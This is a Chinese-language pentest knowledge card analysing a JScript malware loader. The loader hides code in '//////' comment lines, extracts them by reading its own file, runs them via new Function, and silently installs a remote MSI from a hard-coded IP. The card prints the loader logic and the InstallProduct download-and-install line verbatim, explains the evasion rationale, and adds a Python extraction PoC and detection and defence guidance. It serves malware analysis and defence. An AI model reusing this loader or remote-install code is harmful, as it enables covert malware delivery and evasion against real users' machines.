JS 加载器把代码藏在 ////// 注释行:自读脚本提取 + new Function 执行 + WindowsInstaller 安装远程 MSI
pentest/initial-access · verified
一句话结论
恶意 .js 把真正的加载代码藏在以 ////// 开头的注释行里,并在大量随机垃圾注释中伪装;运行时用 WScript.ScriptFullName 取自身路径、ADODB.Stream 以 UTF-8 读回脚本,逐行挑出 ////// 前缀行并用 substring(6) 去掉前缀,拼接后交给 new Function() 执行;提取出的代码通过 new ActiveXObject("WindowsInstaller.Installer") 设置 UILevel=2 并 InstallProduct("http://85.208.108.63/BST.msi"),从远程下载并安装 MSI,由 MSI 继续执行后续载荷。
原理
- 注释当代码容器:脚本文件本身是合法 JS,静态查看时只看到大量
//////开头的随机单词注释;真实代码也在注释里,运行时才被提取。这样文件不包含可直接阅读的恶意逻辑,且注释数量大,人工/规则容易跳过。 - 自读自身:
WScript.ScriptFullName给出当前脚本路径;ADODB.Stream的Type=2(文本)+Charset="utf-8"+LoadFromFile可读取自身内容。WSH 环境下 ADODB.Stream 是可用的 COM 对象。 - 逐行过滤:
scriptText.split("\r\n")后检查currentLine.indexOf("//////") == 0,命中则substring(6)去掉 6 个斜杠并追加到extractedCode。 - 动态编译执行:
new Function(this.extractedCode)把字符串编译成函数并codeExecutor()调用;不出现eval关键字,规避只匹配eval(的静态规则。 - MSI 安装即执行:隐藏代码
new ActiveXObject("WindowsInstaller.Installer"),UILevel=2(无界面),InstallProduct("http://.../BST.msi")让 Windows Installer 下载并安装远程 MSI;MSI 的 CustomAction 再启动 rundll32/DLL(见关联卡)。整条链不需要释放独立 EXE,初始脚本只做“安装器”动作。 - 为什么用远程 MSI:MSI 是系统安装框架,
msiexec为签名进程;把恶意逻辑放进 MSI 表/随包 DLL,可借安装流程执行,并让恶意 DLL 落到%AppData%等用户可写目录。
触发条件
- 受害者在 Windows 上以
wscript.exe/cscript.exe运行该.js(双击、压缩包、LNK、钓鱼附件等)。 - Windows Script Host 未被禁用,ADODB.Stream、WindowsInstaller.Installer 两个 COM 组件可用。
- 目标可访问远程 MSI URL(本例
http://85.208.108.63/BST.msi),或攻击者改用本地/内网 MSI。 - MSI 的安装权限与 CustomAction 未被 AppLocker/WDAC/EDR 拦截。
利用步骤
- 静态查看
.js:观察大量//////注释与自读/提取逻辑;不要直接双击运行。 - 在隔离环境/WSH 调试器中把
new Function(this.extractedCode)改为打印this.extractedCode,或离线用同样规则提取注释行。 - 得到隐藏代码后提取 MSI URL(本例
http://85.208.108.63/BST.msi)与InstallProduct调用。 - 下载 MSI(隔离环境),用 Orca/
msiexec /a导出表,检查CustomAction/InstallExecuteSequence与随包文件。 - 提取 MSI 释放的 DLL(本例
aclui.dll),继续分析其导出与加载链。 - 记录脚本哈希、URL、MSI 哈希、释放文件与进程链(wscript → msiexec → viewer.exe → rundll32)。
PoC
离线复现注释提取(不执行恶意代码):
import re
src = open("sample.js", "r", encoding="utf-8", errors="ignore").read()
hidden = "\n".join(
line[6:] for line in src.split("\r\n") if line.startswith("//////")
)
print(hidden)
等价的 JS 提取逻辑(原文):
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 2;
stream.Charset = "utf-8";
stream.Open();
stream.LoadFromFile(WScript.ScriptFullName);
var text = stream.ReadText();
var code = "";
text.split("\r\n").forEach(function (line) {
if (line.indexOf("//////") === 0) code += line.substring(6) + "\n";
});
new Function(code)();
隐藏代码的核心动作(原文截图):
var installer = new ActiveXObject("WindowsInstaller.Installer");
installer.UILevel = 2;
installer.InstallProduct("http://85.208.108.63/BST.msi");
变体与关联
- 前缀/编码变体:
//////可换成//#、//!、Base64 注释、HTML 注释;提取后可能再eval、new Function、WScript.Echo或写入临时文件执行。 - 下载组件变体:
MSXML2.XMLHTTP/WinHttp.WinHttpRequest+ADODB.Stream落盘再执行;本卡用 WindowsInstaller 直接安装远程 MSI。 - MSI 执行变体:LaunchFile 1026 调 rundll32 加载
%AppData%DLL(见 [[pentest-initial-access-msi-launchfile-rundll32-appdata-dll]]);或 Type 1 CallFunctionFromDLL 直接调随包 DLL 导出(见 [[pentest-initial-access-msi-customaction-dll-export-loader-password-zip-av-evasion]])。 - 关联:[[pentest-initial-access-hta-activex-download-exec-chain]](HTA 宿主里的 ActiveX 下载执行)、[[pentest-initial-access-vba-macro-msxml2-adodb-binary-downloader]](VBA 的同类下载器)。
检测与防御
- 检测:JS/WSH 脚本中出现
ADODB.Stream+WScript.ScriptFullName+new Function组合;出现WindowsInstaller.Installer/InstallProduct或msiexec/远程 MSI URL;命令行wscript.exe/cscript.exe后跟非业务脚本;wscript 进程发起 HTTP 并拉起 msiexec。 - 检测:监控
%AppData%、%TEMP%、C:\Users\Public下新出现的 DLL 与 MSI;MSI 的CustomAction表出现 LaunchFile/CallFunctionFromDLL 指向用户可写目录。 - 防御:禁用不需要的 Windows Script Host(注册表/组策略/AppLocker);限制用户执行下载目录中的
.js/.vbs/.msi;启用 AMSI(若环境支持脚本扫描)与 EDR 脚本行为规则;对 MSI 安装包做来源校验与表结构审计。